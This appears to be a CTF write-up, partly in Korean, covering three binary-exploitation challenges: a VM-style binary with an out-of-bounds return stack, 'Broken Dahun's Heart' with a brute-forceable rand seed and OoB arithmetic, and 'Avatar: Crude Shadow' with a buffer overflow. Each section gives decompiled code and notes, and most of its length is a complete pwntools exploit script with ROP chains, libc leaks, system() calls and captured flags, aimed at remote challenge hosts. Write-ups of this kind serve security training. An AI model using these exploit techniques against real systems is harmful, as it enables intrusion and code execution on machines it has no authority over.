# POKA{ok_now_open_the_gate_and_kill_the_diablo}
Exploitation
0x347853c0: rsp = rdx // rsp = main+0x70 // back to menu
-------- print() ---------
0x347853c8: rax = 880321056
0x347853d8: inc idx ; stack[idx] = rsp ; rsp = 0x3478a220
0x347853e0: rdx = 880300912 ; r12 = 0
0x347853f8: rsp = rdx // rsp = main+0x70 // back to menu
-------- exit() ---------
0x34785400: rax = 880301120
0x34785410: inc idx ; stack[idx] = rsp ; rsp = 0x34785440
0x34785418: rdx = 880300912 ; r12 = 0
0x34785430: rsp = rdx // rsp = main+0x70 // back to menu
-------- function_4() ---------
0x34785438: mov rsp, rbp ; pop rbp
-------- exit_internal() ---------
0x34785440: rdx = 16 ; r12 = 0
0x34785458: rsi = 93966797815986
0x34785468: rdi = 1
0x34785478: rax = 1
0x34785488: sys_write(1, 0x5576599ac0b2, 16) // "really? <y/n>\n> "
0x34785490: rdi = 0
0x347854a0: rsi = 93966797857408
0x347854b0: rdx = 2 ; r12 = 0
0x347854c8: rax = 0
0x347854d8: sys_read(0, buf_5576599b6280, 2)
0x347854e0: rdi = 2681
0x347854f0: rax = 93966797857408
mov rsp, rbp ; pop rbp는 DOS 취약점으로 이어질 수 있다.
-------- function_4() ---------
0x34785438: mov rsp, rbp ; pop rbp
-------- exit_internal() ---------
0x34785440: rdx = 16 ; r12 = 0
0x34785458: rsi = 93966797815986
0x34785468: rdi = 1
0x34785478: rax = 1
0x34785488: sys_write(1, 0x5576599ac0b2, 16) // "really? <y/n>\n> "
0x34785490: rdi = 0
0x347854a0: rsi = 93966797857408
0x347854b0: rdx = 2 ; r12 = 0
0x347854c8: rax = 0
0x347854d8: sys_read(0, buf_5576599b6280, 2)
0x347854e0: rdi = 2681
0x347854f0: rax = 93966797857408
0x34785500: rax = (QWORD)(buf_5576599b6280)
0x34785508: rsi = 65535
0x34785518: eax &= esi // eax &= 65535
0x34785520: rax -= rdi // rax -= 2681
0x34785528: rax = 880300112
0x34785538: rdx = 880301408 ; r12 = 0
0x34785550: if true -> rax = 0x34785560 else -> rax = 0x34785050
0x34785558: inc idx ; stack[idx] = rsp ; rsp = rax
0x34785560: rdx = 5 ; r12 = 0
0x34785578: rsi = 93966797815980
0x34785588: rdi = 1
0x34785598: rax = 1
0x347855a8: sys_write(1, 0x5576599ac0ac, 5) // "Bye~\n"
0x347855b0: rdi = 0
0x347855c0: rax = 60
0x347855d0: sys_exit(0)
exit internal을 확인해보면, y/n에 따라 복귀 주소를 저장해놓는다. stack[idx]에 대한 검증이 미흡해 OoB가 가능하다.
0x34785000: rdx = 23 ; r12 = 0
0x34785018: rsi = 93966797815905
0x34785028: rdi = 1
0x34785038: rax = 1
0x34785048: sys_write(1, 0x5576599ac061, 23) // "Simple Base64 Encoder!\n"
이러한 가젯들이 존재했는데, 이때 rdx는 나중에 대입된다. 그러면 rdx 쪽 instruction을 건너뛰면, rdx는 잠재적으로 조작될 수 있다. 이를 이용해 .rodata 섹션부터 쭉 메모리를 덤프해서 leak을 달성할 수 있다.
Exploit script
from pwn import *
import tqdm
# p = process('./lor',env={"LD_PRELOAD":'./libc.so.6'})
libc = ELF('./libc.so.6')
p = remote('host3.dreamhack.games',14676)
for i in tqdm.tqdm(range(0x1040//2)):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'really',b'n')
'''
0x34785000: rdx = 23 ; r12 = 0
0x34785018: rsi = 93966797815905
0x34785028: rdi = 1
0x34785038: rax = 1
0x34785048: sys_write(1, 0x5576599ac061, 23) // "Simple Base64 Encoder!\n"
'''
p.sendlineafter(b'>',b'1')
payload = p64(0x34785018) * 4
pause()
p.sendlineafter(b': ',payload)
rvu = lambda x : p.recvuntil(x)
l = 0
tar = 8103
while l < tar:
l += len(p.recv(tar-l))
rv = p.recv()
if l < 0x40:
rv += p.recv()
stdout_ = (u64(rv[0x38:0x38+8]))
print(hex(stdout_))
libc_base = stdout_ - libc.sym._IO_2_1_stdout_
success(hex(libc_base))
bin_base = (u64(rv[:8])) -0x12008
success(hex(bin_base))
p.sendlineafter(b'>',b'1')
payload = p64(bin_base + 0x1A280+0x10) * 2
payload += p64(libc_base + 0x000000000002a3e5)
payload += p64(libc_base + 0x1d8698)
payload += p64(libc_base + libc.sym.system)
pause()
p.sendafter(b'input: ',payload)
p.interactive()
# POKA{now_you_are_the_only_diablo!!rule_the_world}
Broken Dahun’s Heart
Analysis
setvbuf(stdout, 0LL, 2, 0LL);
print_hi();
alarm(300u);
init_handles();
random = 0;
fd = open("/dev/urandom", 0);
read(fd, &random, 2uLL); // bruteforcable
close(fd);
srand(random);
memset(&s, 0, sizeof(s));
s.sa_flags = 4;
s.sa_handler = (__sighandler_t)heal_the_borken_heart;// only called once
sigaction(SIGSEGV, &s, 0LL); // Sigsegv
memset(&s, 0, sizeof(s));
s.sa_flags = 4;
s.sa_handler = (__sighandler_t)exit_handler;
sigaction(SIGALRM, &s, 0LL);
v3 = std::operator<<<std::char_traits<char>>(
&std::cout,
"We should not let this stupid misunderstanding get in our way. We deserve another chance.");
((void (__fastcall *)(__int64, void *))std::ostream::operator<<)(v3, &std::endl<char,std::char_traits<char>>);
try_again();
}
마찬가지로 enum을 정의해서 쓰면된다.
ucontext_t *__fastcall heal_the_borken_heart(int a1, siginfo_t *a2, ucontext_t *ctx)
{
ucontext_t *result; // rax
if ( check > 1 )
exit(255);
++check;
result = ctx;
ctx->uc_mcontext.gregs[0x10] = broken_heart_handlers[game_step];
return result; // rip = handler
} //
한번에 한하여 heal_the_broken_heart 함수를 호출하며 context가 복구된다.
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "5. PROPOSE");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "> ");
std::operator>><char,std::char_traits<char>>(&std::cin, nptr);
switch ( atoi(nptr) )
{
case 1: // money int bug
mildang(); // OoB random add or sub
break;
case 2:
call(); // charming down
break;
case 3:
sms(); // info leak / money unsigned
break;
case 4:
date(); // money unsigned
break;
case 5:
propose();
break;
default:
return __readfsqword(0x28u) ^ v8;
}
return __readfsqword(0x28u) ^ v8;
} // get
Exploitation
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
std::operator<<<std::char_traits<char>>(&std::cout, "Choose: ");
std::istream::operator>>(&std::cin, &choice);
if ( i < choice || !sms_list[choice] ) // choice Oob
broke_again();
f = rand();
val = rand();
v9 = rand();
money -= v9 % 5000;
if ( (f & 1) != 0 )
{
love_gauge -= f % 10;
charming -= val % 10;
v3 = mildang_gauge[choice] - (unsigned __int8)val;
}
else
{
love_gauge += f % 10;
charming += val % 10;
v3 = (unsigned __int8)val + mildang_gauge[choice];
}
mildang_gauge[choice] = v3;
이때 choice에 대한 OoB addition, subtraction이 가능하다. 이때 약간의 조건들이 있는데 이러한 조건들은 OoB를 통해 해결한다.
std::operator<<<std::char_traits<char>>(&std::cout, "Phone number: ");
read(0, buf, 255uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "Message: ");
read(0, v13, 255uLL);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "[");
v2 = std::operator<<<std::char_traits<char>>(v1, buf);
v3 = std::operator<<<std::char_traits<char>>(v2, "]");// info leak
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, v13);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Sent!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
if ( rand() % 10 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Oh !!!!!!!!!! She did not replied,, ,, :(!");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
}
else
{
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Oh !!!!!!!!!! She replied,, ,, Yes!");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = rand() % 6;
v8 = g_sms_index++;
sms_list[v8] = msg[v7];
}
}
memory leak이 가능하며 money는 unsigned 비교를 거친다. 이를 이용해 나중에 integer overflow & underflow를 트리거해버리면 된다.
money -= 100000;
v3 = rand();
if ( !((int)v3 % 0xBEBC200) && charming > 100000 )
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Oh!");
std::ostream::operator<<(v0, v3);
std::ostream::operator<<();
Get_shell();
}
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "-_-");
std::ostream::operator<<(v1, v3);
std::ostream::operator<<();
return broke_again();
}
4바이트 정도는 충분히 bruteforce로 뚫을만하다. 하지만 charming을 증가시키려 앞선 random들을 뚫으려면 300초안에 불가능하다.
Exploit script
# 1) srand seed prediction is possible. cuz it is only 2 bytes long.
# 2) info leak is possible u can get the base of binary, stack
# 3) place get shell func through OoB add
# 4) modify gamestep to exec that func
from pwn import *
import ctypes
libc = ctypes.CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')
def seed_brute(arr):
global libc
ret = []
for i in range(0x10000):
libc.srand(i)
f = 1
for j in arr:
if j != (libc.rand()%10):
f = 0
break
if f:
ret.append(i)
return ret
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x : p.recvuntil(x)
# p = process('./bdh')
p = remote('host3.dreamhack.games',20804)
def get_charm():
sla(b'> ',b'2')
rvu(b'[Charming Point]: ')
n = int(rvu(b'.')[:-1])
return n
res = []
diff = 500
for i in range(0x20):
v = get_charm()
diff -= v
res.append(diff)
diff = v
ret = seed_brute(res)
assert len(ret) == 1
ret = ret[0]
success(f'seed : {ret}')
libc.srand(ret)
for i in range(len(res)):
libc.rand()
sla(b'> ',b'3')
pay = b'A'*0xa8
sa(b': ', pay)
pay = b'A'*0x40
sa(b': ', pay)
rvu(b'A'*0xa8)
libc_base = u64(rvu(b']')[:-1].ljust(8,b'\x00')) - 0x8aeed
success(hex(libc_base))
rvu(b'A'*0x40)
bin_base = u64(rvu(b'\x0a')[:-1].ljust(8,b'\x00')) - 0x81a0
success(hex(bin_base))
if ((libc.rand()%10) == 0):
libc.rand()
# functon ptr
# -824 -> binary_ptr
# ptr diff rw - 0x5fb1
# lovegauge
# oob idx -> -101 * 8
def oob_add(idx, x):
global libc
while True:
r = libc.rand()
is_add = not (r&1)
if is_add:
val = (libc.rand()) & 0xff
# success(f'adding: {hex(x)}')
x -= val
libc.rand()
sla(b'> ',b'1')
sla(b'Choose: ',str(idx))
if x <= 0:
break
else:
sla(b'> ',b'2')
def oob_sub(idx, x,f):
global libc
while True:
is_sub = (libc.rand()&1)
if is_sub:
if f==0:
val = (libc.rand()) % 10
else:
val = (libc.rand()) & 0xff
# success(f'subtracting: {hex(x)}')
if f:
if (x - val) < 0:
sla(b'> ',b'2')
sla(b'> ',b'2')
continue
x -= val
libc.rand()
sla(b'> ',b'1')
# if idx == -102:
# print(hex(val))
# pause()
sla(b'Choose: ',str(idx))
rvu(b'[Love Gauge]: ')
n = int(rvu(b'.')[:-1])
if f:
if n < 0:
oob_add(-101, 0x50)
if f:
if x == 0:
break
else:
if x <= 0:
break
else:
sla(b'> ',b'2')
def oob_sub_at_once(idx, x):
global libc
while True:
is_sub = (libc.rand()&1)
if is_sub:
val = (libc.rand()) & 0xff
# success(f'subtracting: {hex(x)}')
if val != x:
sla(b'> ',b'2')
sla(b'> ',b'2')
continue
x -= val
libc.rand()
sla(b'> ',b'1')
sla(b'Choose: ',str(idx))
if x == 0:
break
else:
sla(b'> ',b'2')
oob_sub(-0x67, 0x5fb1, 1) # preparing function ptr
success(b'prepared fptr')
r = libc.rand()
sla(b'> ',b'2')
rvu(b'[Love Gauge]: ')
n = int(rvu(b'.')[:-1])
success(f'gauge: {n}')
x = n + 200
while True:
tmp = libc.rand()
is_sub = (tmp&1)
if is_sub:
libc.rand()
val = tmp % 10
if (x - val) < 0:
sla(b'> ',b'2')
sla(b'> ',b'2')
continue
x -= val
libc.rand()
sla(b'> ',b'1')
sla(b'Choose: ',str(-100))
if x == 0:
break
else:
sla(b'> ',b'2')
rvu(b'[Love Gauge]: ')
n = int(rvu(b'.')[:-1])
success(f'gauge: {n}')
pause()
oob_sub_at_once(-102, 1+0x77) # preparing function ptr
p.interactive()
# KAPO{ac98a027d8c41b726576b169f4c5bba187be5bb2d3a9e88523f5ea0a2264ef4a}
gamestep을 덮고, 마지막에 SIGSEGV를 내주면 handler가 호출되면서 임의 주소에 대한 호출 primitive를 만들 수 있다. 미리 OoB addition으로 함수 포인터 주소를 만들고 idx를 변조해 임의 주소에 대한 호출을 통해 shell을 획득한다.
Avatar: Crude Shadow
Analysis
push_shadow(&shadow_sp, shadow_stack);
setup();
init_seccomp(); // useless
puts("shadow test");
exit = 0;
do
{
menu();
__isoc99_scanf("%d");
switch ( in )
{
case 1:
print_shadow(shadow_sp, shadow_stack);
break;
case 2:
puts("string input:");
read(0, buf, 0x400uLL);
break;
case 3:
nested_func(&shadow_sp, shadow_stack);
break;
case 4:
puts("lol you can't");
break;
case 5:
exit = 1;
break;
default:
puts("nono");
break;
}
}
while ( !exit );
print_shadow(shadow_sp, shadow_stack);
pop_shadow(&shadow_sp, shadow_stack);
return 0;
}
shadow stack이 구현되어있다.
Exploitation
bof를 대놓고 준다.
Exploit script
from pwn import *
sla = lambda x,y :p.sendlineafter(x,y)
rvu = lambda x : p.recvuntil(x)
\#p = process('./avatar',env={'LD_PRELOAD':'../libc.so.6'})
p = remote('host3.dreamhack.games',10351)
context.binary = e = ELF('./avatar')
libc = ELF('../libc.so.6')
sla(b'5',b'3')
sla(b'2',b'1')
rvu(b':\n')
libc_base = int(rvu('\n')[:-1],16) - 0x29d90
bin_base = int(rvu('\n')[:-1],16) - 0x1782
success(hex(libc_base))
success(hex(bin_base))
sla(b'2',b'2')
sla(b'2',b'2')
payload = b''
payload += p64(libc_base + 0x0000000000029cd6)
payload += b'A'*0x50
payload += p64(11)
payload += p64(libc_base + 0x0000000000029cd6)
payload += p64(libc_base + 0x0000000000029cd6)
prdi = p64(libc_base + 0x000000000002a3e5)
prax = p64(libc_base + 0x0000000000045eb0)
prsi = p64(libc_base + 0x000000000002be51)
prdxr12 = p64(libc_base + 0x000000000011f497)
payload += prdi
payload += p64(0)
payload += prsi
payload += p64(e.bss() + bin_base+ 0x500)
payload += prdxr12
payload += p64(0x200)*2
payload += p64(libc_base + libc.sym.read)
payload += prdi
payload += p64(e.bss() + bin_base + 0x500)
payload += prsi
payload += p64(0)
payload += prdxr12
payload += p64(0)*2
payload += p64(libc_base + libc.sym.open)
payload += prdi
payload += p64(3)
payload += prsi
payload += p64(e.bss() + bin_base+ 0x500)
payload += prdxr12
payload += p64(0x200)*2
payload += p64(libc_base + libc.sym.read)
payload += prdi
payload += p64(1)
payload += prsi
payload += p64(e.bss() + bin_base+ 0x500)
payload += prdxr12
payload += p64(0x200)
payload += p64(0x200)
payload += p64(libc_base + libc.sym.write)
success(hex(len(payload)))
prdxr12 = p64(libc_base + 0x000000000011f497)
p.sendafter(b'input:',payload)
p.sendafter(b'5',b'5')
sleep(0.2)
pause()
p.send(b'../flag')
p.interactive()
# POKA{150_PLUS_ISO_T0T4L_300_HE4D}